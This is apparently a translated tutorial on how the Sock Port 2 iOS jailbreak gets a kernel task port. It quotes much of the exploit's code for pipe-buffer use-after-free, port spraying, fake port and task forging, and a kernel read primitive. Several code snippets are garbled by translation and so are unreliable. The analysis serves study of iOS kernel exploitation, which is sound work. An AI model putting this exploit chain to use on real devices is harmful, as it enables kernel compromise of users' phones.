series

  1. IOS Jailbreak Principles – Sock Port (UI
  2. IOS Jailbreak Principles – Sock Port (2) Leak the Port Address through Mach OOL Message
  3. IOS Jailbreak Principles – Sock Port (CST

preface

We have learned how to use Sock Port to reach TFP0. In this article, we will analyze how to use Sock Port to reach TFP0.

The preparatory work

This paper will only explain the key codes. Please open exploits. C in Sock Port 2 by yourself and start with get_tfp0 function for analysis in this paper.

Step down

First we break down the whole process to get TFP0 to give you an overview.

  1. Disclose the process itselfself_port_addressTo get the following;
    • self_task_addresss
    • ipc_space_kernel
  2. Allocate a pair of process communication pipe handles using the PIPE functionfdsThrough theself_task_addresssContains information about the processprocYou can queryfdsThe actual address of the buffer allocated by the handle in the kernelpipe_buffer_address;
    • Pipe can be used to allocate a pair of file descriptors that are read and written between processes, with buffers allocated in the kernel as they are read and written
  3. It can be achieved by using the IOSurface and Socket UAF techniques mentioned in the previous articlepipe_buffer_addressCorresponding content is released, thus getting a releasedpipe_buffer;
  4. Create a send Rightmach portFill it into the released by Spraying it using the OOL Messagepipe_buffer;
  5. The kernel will saypipe_bufferAll of them are legitimate ports, and then we forge onefake portAnd the correspondingfake taskAnd thenfake_port_addressReplace thepipe_bufferThe first eight bytes of “send Right”, so we get a send Rightipc_porttaskControl over;
  6. After receiving the original OOL Message, we will retrieve the ports used when performing the OOL Message Spraying, but ports[0] have been tampered with as oursfake_port, we have complete control over it;
  7. By manipulatingfake_portWe could get a more stable Kernel Read Primitive and use it to enumerate the Kernel processes and get the Kernel’svm_map;
  8. The kernel ofvm_mapgivefake portAt this time ourfake portIt is already a complete kernel Task port, and TFP0 is preliminarily established.
  9. Use this TFP0 to create a more stable TFP0, then clean up the corrupt environment and eliminate subsequent Kernel Panic hazards.

The details of these steps that were not covered in the previous article are described below.

SMAP and Pipe Buffer

Supervisor Mode Access Prevention

IPhone 7 devices with a PageSize of 16KB and up include a Supervisor Mode Access Prevention (SMAP) that prevents the kernel from directly accessing userland memory, This brings some limitations to the exploitation of binary vulnerabilities.

According to SMAP on Wikipedia [1] :

Supervisor Mode Access Prevention (SMAP) is a feature of some CPU implementations such as the Intel Broadwell microarchitecture that allows supervisor mode programs to optionally set user-space memory mappings so that access to those mappings from supervisor mode will cause a trap. This makes it harder for malicious programs to “trick” the kernel into using instructions or data from a user-space program.

That is, SMAP makes Supervisor Mode programs (such as Kernel) trigger exceptions when accessing user-space memory, which prevents our data in user-mode FAKE from being directly accessed by the Kernel. To get around this limitation, we have to find a way to allocate controlled areas in the kernel.

Pipe IO System Call

Fortunately, the operating System provides Pipe IO System Call, according to the description of Pipe at GeeksforGeeks [2] :

Conceptually, a pipe is a connection between two processes, such that the standard output from one process becomes the standard input of the other process. In UNIX Operating System, Pipes are useful for communication between related processes(inter-process communication).

A PIPE is a communication channel between two processes where the standard output of one process serves as the standard input of the other process. Use the PIPE function to get a pair of read and write handles, FDS, as shown below (image from GeeksforGeeks) :

When using PIPE, the buffer is allocated to the kernel, and the fd handle is received in user mode. The buffer address of fd is recorded on the task port. Based on the leaked Task port and Kernel Read Primitive mentioned in the previous article, you can get the buffer address in the Kernel. At this point we have indirectly obtained a controlled area of the kernel, with the key code as follows (error checking is omitted) :

// here we'll create a pair of pipes (4 file descriptors in total)
// first pipe, used to overwrite a port pointer in a mach message
int fds[2];
ret = pipe(fds);
if (ret) {
    printf("[-] failed to create pipe\n");
    goto err;
}

// make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512
uint8_t pipebuf[0x10000];
memset(pipebuf, 0.0x10000);

write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)
Copy the code

The above code creates a buffer of 64K in the kernel. Note the read-write balance of the FD. Each write operation moves the cursor backward and each read operation moves the cursor forward. The buffer is created in the kernel with a balanced read and write, followed by 8 bytes, so that the first port, our fake port, can be read back from it later.

Get Pipe Buffer Address

The pipe Buffer address can be easily retrieved based on the task port and fd handle as follows:

self_port_addr = task_self_addr(); // port leak primitive
uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
self_task_addr = task;
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
self_proc_addr = proc;
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));

uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);
Copy the code

Pipe Buffer UAF

Our ultimate goal is to control a port, so we need the system to allocate the port to our controllable area, the Pipe Buffer, so that we can have full control over it. Here we will use Socket UAF to release the Pipe Buffer and use Mach OOL Message to fill in the valid port.

Socket UAF Free Primitive

In the previous article, we talked about Kernel Read using Socket UAF. In fact, it can also realize the release logic of any Kernel Zone. Here, the utilization is basically the same as the Kernel Read mentioned before. Also store the address to be processed in the IP6PO_PKtINFO field in fake Options. The difference is that, instead of reading the content, we write an all-0 structure to ip6PO_pktinfo, which causes the content that ip6PO_pktInfo points to be freed.

According to the general understanding, when releasing the zone pointed by IP6PO_pktinfo, the length of the zone should be based on the ip6PO_pktINFO length. However, according to the code in the kernel, the FREE function is used here, which automatically determines the length of the zone according to the size of the zone header. This results in a Primitive with an arbitrary length area released. The key code in the kernel is as follows:

void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname) {
    if (pktopt == NULL)
    	return;
    
    if (optname == - 1 || optname == IPV6_PKTINFO) {
    	if (pktopt->ip6po_pktinfo)
    		FREE(pktopt->ip6po_pktinfo, M_IP6OPT); // <-- free
    	pktopt->ip6po_pktinfo = NULL;
    }
    // ...
Copy the code

It encapsulates kfree_addr, which has the logic to get the zone and size based on the address:

vm_size_t kfree_addr(void *addr) {
    vm_map_t map;
    vm_size_t size = 0;
    kern_return_t ret;
    zone_t z;
    
    size = zone_element_size(addr, &z); //
    if (size) {
    	DTRACE_VM3(kfree, vm_size_t.- 1.vm_size_t, z->elem_size, void*, addr);
    	zfree(z, addr);
    	return size;
    }
    // ...
Copy the code

Free the Pipe Buffer

Using Primitive above, we could easily release the Pipe Buffer:

// free the first pipe buffer
ret = free_via_uaf(pipe_buffer);
Copy the code

At this point we have reached Pipe Buffer UAF.

Mach OOL Message Spraying

To get a valid and controllable IPC_port, we used Mach OOL Message to Heap the ipC_port. Note that the remote port is recorded here, because later we need to receive the Message and get the handle of the port we replaced:

// create a new port, this one we'll use for tfp0
mach_port_t target = new_port();
// reallocate it while filling it with a mach message containing send rights to our target port
mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
    // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later
    p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
    
    // check if spraying worked by reading first 8 bytes
    uint64_t addr;
    read(fds[0], &addr, 8);
    if (addr == target_addr) { // if we see the address of our port, it worked
        break;
    }
    write(fds[1], &addr, 8); // reset buffer position
    
    mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
    p = MACH_PORT_NULL;
}
Copy the code

Here we use a message of the same size as the Pipe Buffer (0x10000) in order to successfully populate the Pipe Buffer with Port Address.

How do we check if we’re successful? Just get the address of the target port above and then read 8B from the Pipe Buffer (since we prewrote 8B before, we should get the address of the first port). The target port address should be equal to the address we read from the Pipe Buffer if the pin is sprayed successfully.

Forge port and task

Another pipe

The Pipe Buffer filled above is still a user port with no TFP0 capability. We need to tamper with this port to get TFP0.

Due to the existence of SMAP, both our fake Port and fake Task need to be copied into the kernel through pipe to be accessed properly, so we need to create another pipe.

Sock Port is a very clever part of the source code. It allocates a contiguous area in the kernel that can accommodate Port and task, and then directs Port -> Task to the adjacent task area, so that we control both Port and task in one area. Bypassing SMAP again, the key code is as follows:

int port_fds[2] = {- 1.- 1};
pipe(port_fds);

// create fake port and fake task, put fake_task right after fakeport
kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t((*)uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);

fake_task->ref_count = 0xff;

fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}

// The port_pipe_buffer address is omitted

if (SMAP) {
    // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)
    fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
}
else {
    fakeport->ip_kobject = (uint64_t)fake_task;
}
Copy the code

Under SMAP, addresses referenced in the kernel cannot come from Userland, so the task at the bottom of the above key code points to the space in the Pipe Buffer.

g.

Next we replace the first valid port in the Pipe Buffer with fake port:

if (SMAP) {
    // spraying worked, now the pipe buffer is filled with pointers to our target port
    // overwrite the first pointer with our second pipe buffer, which contains the fake port
    write(fds[1], &port_pipe_buffer, 8);
}
else {
    write(fds[1], &fakeport, 8);
}
Copy the code

Also note that in SMAP mode the address of port_pipe_buffer should be written instead of the fakeport address of userland. At this point we have put fakePort into the legal port area, in other words we have full control of an IPc_port.

Receive the Mach OOL Message

Since the port handle contains rights information, our tampering will change the handle of the first port in the Pipe Buffer, so we need to receive the OOL Message to re-read the handle. Remember the remote port we recorded earlier? We can use it to receive the sent OOL Message:

// receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!
struct ool_msg *msg = malloc(0x1000);
ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0.0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
    free(msg);
    printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret));
    goto err;
}

mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);
Copy the code

Here we get the fakeport handle instead of the target port handle. This is because the kernel executes the CAST_MACH_PORT_TO_NAME macro function when copying the OOL Message back into user space:

#define CAST_MACH_PORT_TO_NAME(x) ((mach_port_name_t)(uintptr_t)(x))
Copy the code

It intercepts 8B of ipc_object, the header of ipc_port, the first two members of ipc_object:

struct ipc_port {
    struct ipc_object ip_object;
    struct ipc_mqueue ip_messages; 
    // ...
};

struct ipc_object {
    ipc_object_bits_t io_bits; // 4B
    ipc_object_refs_t io_references; // 4B
    lck_spin_t	io_lock_data;
};
Copy the code

So the final port handle actually consists of the values of IO_bits and io_References in ipC_port.

Now we have full control of the ipc_port and its handle, but the ipc_port lacks vm_map and is not a valid task port, so we need to give it the kernel VM_map.

pid_for_task Kernel Read Primitive

The pid_for_task function takes a process’s port as an argument and queries its PID return. It works as follows:

/ / pseudo code
int pid = get_ipc_port(port)->task->bsd_info->p_pid;
Copy the code

The essence of struct member access is offset calculation:

int pid = *(*(*(get_ipc_port(port) + offset_task) + offset_bsd_info) + offset_pid)
Copy the code

Since we have control of fakeport, we can change its bsd_info to be equal to addr-offset_pid, *(*(get_ipc_port(port) + offset_task) + offset_bsd_info) = addr-offset_pid.

int pid = *(addr - offset_pid + offset_pid) = *addr
Copy the code

In this way, the 4B data at the ADDR can be stably Read and a perfect Kernel Read Primitive can be achieved:

#define kr32(addr, value)\
    if(SMAP) {\ read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600); \ }\ *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID); \if(SMAP) {\ write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); \ }\ value = 0x0; \ ret = pid_for_task(our_port, (int *)&value);
Copy the code

First modify bsd_INFO via Pipe Buffer, then pass a handle to fakeport to pid_for_task to read 4B data at the specified address.

Kernel Read of any length of data can be achieved by combining KR32 multiple times, such as kr64:

#definekr64(addr, value)\ kr32(addr + 0x4, read64_tmp); \ kr32(addr, value); \ value = value | ((uint64_t)read64_tmp << 32)
Copy the code

Access to the kernel vm_map

The task_port can enumerate all processes based on the current process, requiring hundreds of Kernel reads. Therefore, the pid_for_task Kernel Read Primitive is required:

uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
if(! struct_task) {printf("[-] kernel read failed! \n");
    goto err;
}

printf("[!]  READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
printf("[+] Let's steal that kernel task port! \n");

// tfp0!

uint64_t kernel_vm_map = 0;

while(struct_task ! =0) {
    uint64_t bsd_info;
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
    if(! bsd_info) {printf("[-] kernel read failed! \n");
        goto err;
    }
    
    uint32_t pid;
    kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
    
    if (pid == 0) {
        uint64_t vm_map;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
        if(! vm_map) {printf("[-] kernel read failed! \n");
            goto err;
        }
        
        kernel_vm_map = vm_map;
        break;
    }
    
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
Copy the code

Since proc is a bidirectional linked list, we can enumerate from the current process forward until PID =0 before fetching vm_map from the kernel task.

The first tfp0

Write the obtained kernel VM_map to fakeport. Now we have a valid kernel task port:

read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
    
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map= kernel_vm_map; * (uint32_t((*)uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}
Copy the code

At this point we should have a TFP0 port, which can be verified with the mach_VM related memory function.

Stable tfp0

The above TFP0 is a new task port that may have some potential pitfalls. Next we can use TFP0 to create a legal, stable, and secure TFP0:

mach_port_t new_tfp0 = new_port();
if(! new_tfp0) {printf("[-] failed to allocate new tfp0 port\n");
    goto err;
}

uint64_t new_addr = find_port(new_tfp0, self_port_addr);
if(! new_addr) {printf("[-] failed to find new tfp0 port address\n");
    goto err;
}

uint64_t faketask = kalloc(0x600);
if(! faketask) {printf("[-] failed to kalloc faketask\n");
    goto err;
}

kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;

kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
Copy the code

A port with send rights is created and a new area is created to hold the kernel task. This eliminates the problem of ipC_port being next to the task in the port Pipe Buffer. We then copy the task in the Port Pipe Buffer to the newly allocated task area and copy the fakeport data in its entirety to the newly created Port, resulting in a new TFP0.

Clean up the environment

Next, we remove the previous tFP0 port from the process’s port index table, remove the released Pipe Buffer from the FD index table, and finally close IOSurfaceClient and Pipe to release the Buffer temporarily allocated by userland:

// clean up port
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));

uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;

wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8.0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);

wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()

if (fds[0] > 0)  close(fds[0]);
if (fds[1] > 0)  close(fds[1]);
if (port_fds[0] > 0)  close(port_fds[0]);
if (port_fds[1] > 0)  close(port_fds[1]);

free((void *)fakeport);
deinit_IOSurface();
Copy the code

With Sock Port analysis done, we have a stable TFP0 and are one step closer to Jailbreak.

conclusion

This paper sorts out the whole process of Sock Port 2 obtaining TFP0, and explains the key steps. Through reading this paper, we can have a deep understanding of Sock Port in the whole and in detail.

Next day forecast

By using this Exploit, we only achieved TFP0, a long way from Jailbreak. The following articles will start with an analysis of the Undecimus Jailbreak source code, from TFP0 to Kernel code execution to various Kernel patches.

The resources

  1. Supervisor Mode Access Prevention. Wikipedia
  2. Pipe System Call. GeeksforGeeks
  3. Sock Port 2. jakeajames